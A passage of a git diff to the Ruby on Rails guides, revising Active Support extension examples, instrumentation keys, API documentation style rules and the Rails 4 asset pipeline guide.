-2672,14 +2713,14 @@ NOTE: Defined in `active_support/core_ext/hash/except.rb`. The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver: ```ruby -{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase } +{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase } # => {"" => nil, "A" => :a, "1" => 1} ``` The result in case of collision is undefined: ```ruby -{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase } +{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase } # => {"A" => 2}, in my test, can't rely on this result though ``` @@ -2687,11 +2728,11 @@ This method may be useful for example to build specialized conversions. For inst ```ruby def stringify_keys - transform_keys{ |key| key.to_s } + transform_keys { |key| key.to_s } end ... def symbolize_keys - transform_keys{ |key| key.to_sym rescue key } + transform_keys { |key| key.to_sym rescue key } end ``` @@ -2700,7 +2741,7 @@ There's also the bang variant `transform_keys!` that applies the block operation Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is: ```ruby -{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase } +{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase } # => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}} ``` @@ -3779,13 +3820,13 @@ def default_helper_module! module_path = module_name.underscore helper module_path rescue MissingSourceFile => e - raise e unless e.is_missing? "#{module_path}_helper" + raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end ``` -NOTE: Defined in `active_support/core_ext/name_error.rb`. +NOTE: Defined in `actionpack/lib/abstract_controller/helpers.rb`. Extensions to `LoadError` ------------------------- @@ -3808,4 +3849,4 @@ rescue NameError => e end ``` -NOTE: Defined in `active_support/core_ext/load_error.rb`. +NOTE: Defined in `actionpack/lib/abstract_controller/helpers.rb`. diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md index 38dbfd3152..6c77a40d42 100644 --- a/guides/source/active_support_instrumentation.md +++ b/guides/source/active_support_instrumentation.md @@ -39,7 +39,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -51,7 +51,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -63,7 +63,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -75,7 +75,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -396,6 +396,15 @@ INFO. Cache stores my add their own keys } ``` +Railties +-------- + +### load_config_initializer.railties + +| Key | Value | +| -------------- | ----------------------------------------------------- | +| `:initializer` | Path to loaded initializer from `config/initializers` | + Rails ----- diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md index d0499878da..311cc23cf0 100644 --- a/guides/source/api_documentation_guidelines.md +++ b/guides/source/api_documentation_guidelines.md @@ -25,7 +25,7 @@ Write in present tense: "Returns a hash that...", rather than "Returned a hash t Start comments in upper case. Follow regular punctuation rules: ```ruby -# Declares an attribute reader backed by an internally-named +# Declares an attribute reader backed by an internally-named # instance variable. def attr_internal_reader(*attrs) ... @@ -42,10 +42,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +Prefer wordings that avoid "you"s and "your"s. For example, instead of + +```markdown +If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. +``` + +use this style: + +```markdown +If `return` is needed it is recommended to explicitly define a method. +``` + +That said, when using pronouns in reference to a hypothetical person, such as "a +user with a session cookie", gender neutral pronouns (they/their/them) should be +used. Instead of: + +* he or she... use they. +* him or her... use them. +* his or her... use their. +* his or hers... use theirs. +* himself or herself... use themselves. + English ------- -Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). +Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). Example Code ------------ @@ -57,7 +79,7 @@ Use two spaces to indent chunks of code--that is, for markup purposes, two space Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs: ```ruby -# Converts a collection of elements into a formatted string by +# Converts a collection of elements into a formatted string by # calling +to_s+ on all elements and joining them. # # Blog.all.to_formatted_s # => "First PostSecond PostThird Post" @@ -141,7 +163,7 @@ class Array end ``` -WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc. +WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc. ### Regular Font @@ -172,7 +194,7 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. ``` -The description starts in upper case and ends with a full stop—it's standard English. +The description starts in upper case and ends with a full stop-it's standard English. Dynamically Generated Methods ----------------------------- diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md index 448f0e1f9a..bce5d6c55f 100644 --- a/guides/source/asset_pipeline.md +++ b/guides/source/asset_pipeline.md @@ -5,9 +5,9 @@ This guide covers the asset pipeline. After reading this guide, you will know: -* How to understand what the asset pipeline is and what it does. +* What the asset pipeline is and what it does. * How to properly organize your application assets. -* How to understand the benefits of the asset pipeline. +* The benefits of the asset pipeline. * How to add a pre-processor to the pipeline. * How to package assets with a gem. @@ -16,44 +16,97 @@ After reading this guide, you will know: What is the Asset Pipeline? --------------------------- -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. +The asset pipeline provides a framework to concatenate and minify or compress +JavaScript and CSS assets. It also adds the ability to write these assets in +other languages and pre-processors such as CoffeeScript, Sass and ERB. -Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. +The asset pipeline is technically no longer a core feature of Rails 4, it has +been extracted out of the framework into the +[sprockets-rails](https://github.com/rails/sprockets-rails) gem. -The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition: +The asset pipeline is enabled by default. + +You can disable the asset pipeline while creating a new application by +passing the `--skip-sprockets` option. + +```bash +rails new appname --skip-sprockets +``` + +Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier` +gems to your Gemfile, which are used by Sprockets for asset compression: ```ruby -config.assets.enabled = false +gem 'sass-rails' +gem 'uglifier' +gem 'coffee-rails' ``` -You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option. +Using the `--skip-sprockets` option will prevent Rails 4 from adding +`sass-rails` and `uglifier` to Gemfile, so if you later want to enable +the asset pipeline you will have to add those gems to your Gemfile. Also, +creating an application with the `--skip-sprockets` option will generate +a slightly different `config/application.rb` file, with a require statement +for the sprockets railtie that is commented-out. You will have to remove +the comment operator on that line to later enable the asset pipeline: -```bash -rails new appname --skip-sprockets +```ruby +# require "sprockets/railtie" +``` + +To set asset compression methods, set the appropriate configuration options +in `production.rb` - `config.assets.css_compressor` for your CSS and +`config.assets.js_compressor` for your Javascript: + +```ruby +config.assets.css_compressor = :yui +config.assets.js_compressor = :uglify ``` -You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline. +NOTE: The `sass-rails` gem is automatically used for CSS compression if included +in Gemfile and no `config.assets.css_compressor` option is set. ### Main Features -The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application. - -Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `cache: true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. +The first feature of the pipeline is to concatenate assets, which can reduce the +number of requests that a browser makes to render a web page. Web browsers are +limited in the number of requests that they can make in parallel, so fewer +requests can mean faster loading for your application. -Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents. +Sprockets concatenates all JavaScript files into one master `.js` file and all +CSS files into one master `.css` file. As you'll learn later in this guide, you +can customize this strategy to group files any way you like. In production, +Rails inserts an MD5 fingerprint into each filename so that the file is cached +by the web browser. You can invalidate the cache by altering this fingerprint, +which happens automatically whenever you change the file contents. -The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +The second feature of the asset pipeline is asset minification or compression. +For CSS files, this is done by removing whitespace and comments. For JavaScript, +more complex processes can be applied. You can choose from a set of built in +options or specify your own. -The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default. +The third feature of the asset pipeline is it allows coding assets via a +higher-level language, with precompilation down to the actual assets. Supported +languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by +default. ### What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates. +Fingerprinting is a technique that makes the name of a file dependent on the +contents of the file. When the file contents change, the filename is also +changed. For content that is static or infrequently changed, this provides an +easy way to tell whether two versions of a file are identical, even across +different servers or deployment dates. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_. +When a filename is unique and based on its content, HTTP headers can be set to +encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, +or in web browsers) to keep their own copy of the content. When the content is +updated, the fingerprint will change. This will cause the remote clients to +request a new copy of the content. This is generally known as _cache busting_. -The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents: +The technique sprockets uses for fingerprinting is to insert a hash of the +content into the name, usually at the end. For example a CSS file `global.css` ``` global-908e25f4bf641868d8683022a5b62f54.css @@ -61,7 +114,8 @@ global-908e25f4bf641868d8683022a5b62f54.css This is the strategy adopted by the Rails asset pipeline. -Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a date-based query string to every asset linked +with a built-in helper. In the source the generated code looked like this: ``` /stylesheets/global.css?1309495796 @@ -69,68 +123,130 @@ Rails' old strategy was to append a date-based query string to every asset linke The query string strategy has several disadvantages: -1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br /> - [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. +1. **Not all caches will reliably cache content where the filename only differs by +query parameters**<br> + [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), + "...avoiding a querystring for cacheable resources". He found that in this +case 5-20% of requests will not be cached. Query strings in particular do not +work at all with some CDNs for cache invalidation. -2. **The file name can change between nodes in multi-server environments.**<br /> - The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. -3. **Too much cache invalidation**<br /> - When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +2. **The file name can change between nodes in multi-server environments.**<br> + The default query string in Rails 2.x is based on the modification time of +the files. When assets are deployed to a cluster, there is no guarantee that the +timestamps will be the same, resulting in different values being used depending +on which server handles the request. -Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content. +3. **Too much cache invalidation**<br> + When static assets are deployed with each new release of code, the mtime +(time of last modification) of _all_ these files changes, forcing all remote +clients to fetch them again, even when the content of those assets has not changed. -Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option. +Fingerprinting fixes these problems by avoiding query strings, and by ensuring +that filenames are consistent based on their content. + +Fingerprinting is enabled by default for production and disabled for all other +environments. You can enable or disable it in your configuration through the +`config.assets.digest` option. More reading: * [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) -* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) +* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) How to Use the Asset Pipeline ----------------------------- -In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of +`public` such as `images`, `javascripts` and `stylesheets`. With the asset +pipeline, the preferred location for these assets is now the `app/assets` +directory. Files in this directory are served by the Sprockets middleware. -Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served. +Assets can still be placed in the `public` hierarchy. Any assets under `public` +will be served as static files by the application or web server. You should use +`app/assets` for files that must undergo some pre-processing before they are +served. -In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production. +In production, Rails precompiles these files to `public/assets` by default. The +precompiled copies are then served as static assets by the web server. The files +in `app/assets` are never served directly in production. ### Controller Specific Assets -When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller. - -For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. By default these files will be ready to use by your application immediately using the `require_tree` directive. See [Manifest Files and Directives](#manifest-files-and-directives) for more details on require_tree. - -You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following: `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Ensure that you are not using the `require_tree` directive though, as this will result in your assets being included more than once. - -WARNING: When using asset precompilation (the production default), you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. This will result in false positives during development as these files will work just fine since assets will be compiled on the fly. When running in production however, you will see 500 errors since live compilation is turned off by default. See [Precompiling Assets](#precompiling-assets) for more information on how precompiling works. - -NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes. - -You can also disable the generation of asset files when generating a controller by adding the following to your `config/application.rb` configuration: +When you generate a scaffold or a controller, Rails also generates a JavaScript +file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a +Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) +for that controller. Additionally, when generating a scaffold, Rails generates +the file scaffolds.css (or scaffolds.css.scss if `sass-rails` is in the +`Gemfile`.) + +For example, if you generate a `ProjectsController`, Rails will also add a new +file at `app/assets/javascripts/projects.js.coffee` and another at +`app/assets/stylesheets/projects.css.scss`. By default these files will be ready +to use by your application immediately using the `require_tree` directive. See +[Manifest Files and Directives](#manifest-files-and-directives) for more details +on require_tree. + +You can also opt to include controller specific stylesheets and JavaScript files +only in their respective controllers using the following: + +`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag +params[:controller] %>` + +When doing this, ensure you are not using the `require_tree` directive, as that +will result in your assets being included more than once. + +WARNING: When using asset precompilation, you will need to ensure that your +controller assets will be precompiled when loading them on a per page basis. By +default .coffee and .scss files will not be precompiled on their own. This will +result in false positives during development as these files will work just fine +since assets are compiled on the fly in development mode. When running in +production, however, you will see 500 errors since live compilation is turned +off by default. See [Precompiling Assets](#precompiling-assets) for more +information on how precompiling works. + +NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. +If you are using Mac OS X or Windows, you have a JavaScript runtime installed in +your operating system. Check +[ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all +supported JavaScript runtimes. + +You can also disable generation of controller specific asset files by adding the +following to your `config/application.rb` configuration: ```ruby -config.generators do |g| - g.assets false -end + config.generators do |g| + g.assets false + end ``` ### Asset Organization -Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. +Pipeline assets can be placed inside an application in one of three locations: +`app/assets`, `lib/assets` or `vendor/assets`. + +* `app/assets` is for assets that are owned by the application, such as custom +images, JavaScript files or stylesheets. -* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. +* `lib/assets` is for your own libraries' code that doesn't really fit into the +scope of the application or those libraries which are shared across applications. -* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. +* `vendor/assets` is for assets that are owned by outside entities, such as +code for JavaScript plugins and CSS frameworks. -* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. +WARNING: If you are upgrading from Rails 3, please take into account that assets +under `lib/assets` or `vendor/assets` are available for inclusion via the +application manifests but no longer part of the precompile array. See +[Precompiling Assets](#precompiling-assets) for guidance. #### Search Paths -When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it. +When a file is referenced from a manifest or a helper, Sprockets searches the +three default asset locations for it. -The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched. +The default locations are: the `images`, `javascripts` and `stylesheets` +directories under the `apps/assets` folder, but these subdirectories +are not special - any path under `assets/*` will be searched. For example, these files: @@ -162,72 +278,113 @@ is referenced as: //= require sub/something ``` -You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console. +You can view the search path by inspecting +`Rails.application.config.assets.paths` in the Rails console. -Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example: +Besides the standard `assets/*` paths, additional (fully qualified) paths can be +added to the pipeline in `config/application.rb`. For example: ```ruby config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") ``` -Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`. +Paths are traversed in the order they occur in the search path. By default, +this means the files in `app/assets` take precedence, and will mask +corresponding paths in `lib` and `vendor`. -It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment. +It is important to note that files you want to reference outside a manifest must +be added to the precompile array or they will not be available in the production +environment. #### Using Index Files -Sprockets uses files named `index` (with the relevant extensions) for a special purpose. +Sprockets uses files named `index` (with the relevant extensions) for a special +purpose. -For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive. +For example, if you have a jQuery library with many modules, which is stored in +`lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as +the manifest for all files in this library. This file could include a list of +all the required files in order, or a simple `require_tree` directive. -The library as a whole can be accessed in the site's application manifest like so: +The library as a whole can be accessed in the application manifest like so: ```js //= require library_name ``` -This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere. +This simplifies maintenance and keeps things clean by allowing related code to +be grouped before inclusion elsewhere. ### Coding Links to Assets -Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`. +Sprockets does not add any new methods to access your assets - you still use the +familiar `javascript_include_tag` and `stylesheet_link_tag`: ```erb -<%= stylesheet_link_tag "application" %> +<%= stylesheet_link_tag "application", media: "all" %> <%= javascript_include_tag "application" %> ``` -In regular views you can access images in the `assets/images` directory like this: +If using the turbolinks gem, which is included by default in Rails 4, then +include the 'data-turbolinks-track' option which causes turbolinks to check if +an asset has been updated and if so loads it into the page: + +```erb +<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %> +<%= javascript_include_tag "application", "data-turbolinks-track" => true %> +``` + +In regular views you can access images in the `public/assets/images` directory +like this: ```erb <%= image_tag "rails.png" %> ``` -Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server. +Provided that the pipeline is enabled within your application (and not disabled +in the current environment context), this file is served by Sprockets. If a file +exists at `public/assets/rails.png` it is served by the web server. -Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide. +Alternatively, a request for a file with an MD5 hash such as +`public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same +way. How these hashes are generated is covered in the [In +Production](#in-production) section later on in this guide. -Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines. +Sprockets will also look through the paths specified in `config.assets.paths`, +which includes the standard application paths and any paths added by Rails +engines. -Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: +Images can also be organized into subdirectories if required, and then can be +accessed by specifying the directory's name in the tag: ```erb <%= image_tag "icons/rails.png" %> ``` -WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data. +WARNING: If you're precompiling your assets (see [In Production](#in-production) +below), linking to an asset that does not exist will raise an exception in the +calling page. This includes linking to a blank string. As such, be careful using +`image_tag` and the other helpers with user-supplied data. #### CSS and ERB -The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules: +The asset pipeline automatically evaluates ERB. This means if you add an +`erb` extension to a CSS asset (for example, `application.css.erb`), then +helpers like `asset_path` are available in your CSS rules: ```css .class { background-image: url(<%= asset_path 'image.png' %>) } ``` -This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced. +This writes the path to the particular asset being referenced. In this example, +it would make sense to have an image in one of the asset load paths, such as +`app/assets/images/image.png`, which would be referenced here. If this image is +already available in `public/assets` as a fingerprinted file, then that path is +referenced. -If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper. +If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) - +a method of embedding the image data directly into the CSS file - you can use +the `asset_data_uri` helper. ```css #logo { background: url(<%= asset_data_uri 'logo.png' %>) } @@ -239,29 +396,33 @@ Note that the closing tag cannot be of the style `-%>`. #### CSS and Sass -When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. +When using the asset pipeline, paths to assets must be re-written and +`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, +underscored in Ruby) for the following asset classes: image, font, video, audio, +JavaScript and stylesheet. * `image-url("rails.png")` becomes `url(/assets/rails.png)` * `image-path("rails.png")` becomes `"/assets/rails.png"`. -The more generic form can also be used but the asset path and class must both be specified: +The more generic form can also be used: -* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)` -* `asset-path("rails.png", image)` becomes `"/assets/rails.png"` +* `asset-url("rails.png")` becomes `url(/assets/rails.png)` +* `asset-path("rails.png")` becomes `"/assets/rails.png"` #### JavaScript/CoffeeScript and ERB -If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code: +If you add an `erb` extension to a JavaScript asset, making it something such as +`application.js.erb`, you can then use the `asset_path` helper in your +JavaScript code: ```js -$('#logo').attr({ - src: "<%= asset_path('logo.png') %>" -}); +$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); ``` This writes the path to the particular asset being referenced. -Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`): +Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` +extension (e.g., `application.js.coffee.erb`): ```js $('#logo').attr src: "<%= asset_path('logo.png') %>" @@ -269,10 +430,19 @@ $('#logo').attr src: "<%= asset_path('logo.png') %>" ### Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. Compression also reduces the file size enabling the browser to download it faster. +Sprockets uses manifest files to determine which assets to include and serve. +These manifest files contain _directives_ - instructions that tell Sprockets +which files to require in order to build a single CSS or JavaScript file. With +these directives, Sprockets loads the files specified, processes them if +necessary, concatenates them into one single file and then compresses them (if +`Rails.application.config.assets.compress` is true). By serving one file rather +than many, the load time of pages can be greatly reduced because the browser +makes fewer requests. Compression also reduces file size, enabling the +browser to download them faster. -For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines: +For example, a new Rails 4 application includes a default +`app/assets/javascripts/application.js` file containing the following lines: ```js // ... @@ -281,30 +451,69 @@ For example, a new Rails application includes a default `app/assets/javascripts/ //= require_tree . ``` -In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file. - -The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion. +In JavaScript files, Sprockets directives begin with `//=`. In the above case, +the file is using the `require` and the `require_tree` directives. The `require` +directive is used to tell Sprockets the files you wish to require. Here, you are +requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere +in the search path for Sprockets. You need not supply the extensions explicitly. +Sprockets assumes you are requiring a `.js` file when done from within a `.js` +file. + +The `require_tree` directive tells Sprockets to recursively include _all_ +JavaScript files in the specified directory into the output. These paths must be +specified relative to the manifest file. You can also use the +`require_directory` directive which includes all JavaScript files only in the +directory specified, without recursion. + +Directives are processed top to bottom, but the order in which files are +included by `require_tree` is unspecified. You should not rely on any particular +order among those. If you need to ensure some particular JavaScript ends up +above some other in the concatenated file, require the prerequisite file first +in the manifest. Note that the family of `require` directives prevents files +from being included twice in the output. + +Rails also creates a default `app/assets/stylesheets/application.css` file +which contains these lines: -Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output. - -Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines: - -```js +```css /* ... *= require_self *= require_tree . */ ``` -The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory. - -In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected. - -NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. - -You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application. - -The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way: +Rails 4 creates both `app/assets/javascripts/application.js` and +`app/assets/stylesheets/application.css` regardless of whether the +--skip-sprockets option is used when creating a new rails application. This is +so you can easily add asset pipelining later if you like. + +The directives that work in JavaScript files also work in stylesheets +(though obviously including stylesheets rather than JavaScript files). The +`require_tree` directive in a CSS manifest works the same way as the JavaScript +one, requiring all stylesheets from the current directory. + +In this example, `require_self` is used. This puts the CSS contained within the +file (if any) at the precise location of the `require_self` call. If +`require_self` is called more than once, only the last call is respected. + +NOTE. If you want to use multiple Sass files, you should generally use the [Sass +`@import` +rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead +of these Sprockets directives. Using Sprockets directives all Sass files exist +within their own scope, making variables or mixins only available within the +document they were defined in. You can do file globbing as well using +`@import "*"`, and `@import "**/*"` to add the whole tree equivalent to how +`require_tree` works. Check the [sass-rails +documentation](https://github.com/rails/sass-rails#features) for more info and +important caveats. + +You can have as many manifest files as you need. For example, the 